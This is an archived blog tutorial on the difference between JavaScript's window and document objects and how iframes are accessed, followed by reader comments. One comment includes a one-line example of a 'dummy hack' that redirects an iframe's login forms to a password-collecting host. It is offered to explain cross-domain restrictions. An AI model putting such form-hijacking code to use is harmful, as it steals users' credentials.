Back to Writing

Document vs Window Objects

There seems to be a lot of misconceptions on the difference between the document and window objects for javascript. I have set out to clarify this for you in the most visual manor as possible.

Eli Geske • • 5 min read
document object iframe Javascript window object
jQuery logo

There seems to be a lot of misconceptions on the difference between the document and window objects for javascript.

WINDOW object and DOCUMENT object ARE NOT THE SAME!!!!!

I have set out to clarify this for you in the most visual manor as possible.

So, what is the difference between the document object and window object you ask? Good question.

Javascript Window Object with Document Loaded

Well, the window is the first thing that gets loaded into the browser. This window object has the majority of the properties like length, innerWidth, innerHeight, name, if it has been closed, its parents, and more.

What about the document object then?

The document object is your html, aspx, php, or other document that will be loaded into the browser. The document actually gets loaded inside the window object and has properties available to it like title, URL, cookie, etc. What does this really mean? That means if you want to access a property for the window it is window.property, if it is document it is window.document.property which is also available in short as document.property.

That seems simple enough. But what happens once an IFRAME is introduced? Uh oh… frameage.

An iframe actually is considered as a new window with its own document loaded into it. Here is where it may seem a little odd, but does make sense if you think about it. The original, parent window, is responsible for other windows to be loaded, not the document.

Javascript Window Object with Iframe

The property to access a frame is window.frames[], which is an array of all the frames. If you only have one iframe you access it by using window.frames[0]. Since the iframe is also a window object, accessing window properties of that frame is done by using window.frames[0].mywindowproperty.

Here is a link to the list of properties:

Window object properties.

Document object properties

This was just a quick clarification on how the window and document objects are used. When there is an understanding of it then programming becomes a little easier.

Thanks for reading!

Legacy Archive

This post originally appeared on eligeske.com in 2011 and has been recovered from the archives.

Pingbacks

Legacy Comments Archive

This post originally appeared on my old site and has been recovered from the archives. Below are the original comments from the community.

J
James Strong
February 16, 2011

Hey man, would you happen to be the eli geske that was working on gametube.tv ages ago?

It’s Xdax.

S
Serdar Akkilic
April 26, 2011

That helped me alot! i was trying to reach the iframes loaded. Thank you

I
Ishrat
May 29, 2011

Thanks you very much eligeske. This article is quite useful. Again thanks

S
Simon Ferragne
August 30, 2011

Little note about the iframe that can save you lot of time. To access the interior of an iframe context / dom / javascript you need to use the contentWindow property.

Example to call some javascript inside and iframe you can simply do: $('#myframe')[0].contentWindow.$('someSelector').someAction();

Or without jQuery document.getElementById('myframe').contentWindow.alert('I am an alert in the iframe'); —————————— On the other side if you are trying to run some javascript in the main window FROM the iframe, you can simply do : parent.$('somemainWindowElement').someAction();

Please not that cross domain (from 1 domain to the other) frame scripting will not work in regular setup. REason is obvious: it would create a security hole and an easy way to hack with fishing techniques. Imagine the simple dummy hack scenario

// Set all the form to post their password to my server. $('#fishnet')[0].contentWindow.$('form').each(function(){this.setAttributes('action','http://myserverthatcollectspassword.com/collect');})

Ps. Dont try this, it will not work. ;)

P
PrAVEEN
November 28, 2011

I LIKE EXPLANATION ON THE WINDOW AND DOCUMENT OBJECT IN ELEGANT WAY BY TAKING THE EXAMPLE

S
Sanjeev
December 16, 2011

Excellent explanation. Kudos. Helped a lot.

v
venky
January 18, 2012

Thank you ,…… It helped me in understanding the difference between Window and document objects……

V
Vasudev Adepu
March 17, 2012

this is very good example thank you very much

j
jyothi
April 13, 2012

Helped a lot. Thaks

R
Rakshitha
June 16, 2012

Thank you so much for the information. Got a question in interview but cud not answer there.. now i am clear about the topic.

A
Ashwini
August 2, 2012

Hi,

This makes me to clear my concept about document & window.

Thank you very much. :-)

r
rammon
November 25, 2012

that really helped,,,,,,thank you

R
Rajeshwari
February 25, 2013

Superb… Thanks.

N
Nishant
March 12, 2013

Excellent explanation. Thanks a lot.

One more thing I would like to ask you is, can we get iframe object inside from iFrame. It is as good as accessing parent property from child. I know it is bit weird, but just wanted to know whether this is possible?

E
Eli Geske Author
March 12, 2013

Hi Nishant,

If I understand you correctly, you would like to access the iframe’s window or document object from inside itself. For example if you loaded a url into the iframe that had some script in it.

The iframe acts as if it were a stand alone window and can access itself’s properties as such.

If you mean that you would like to get the iframe object from the iframe itself, you can try this little example from inside the iframe:

$(function () {
  $(window.parent.frames[0].document).find('body').html('hello')
})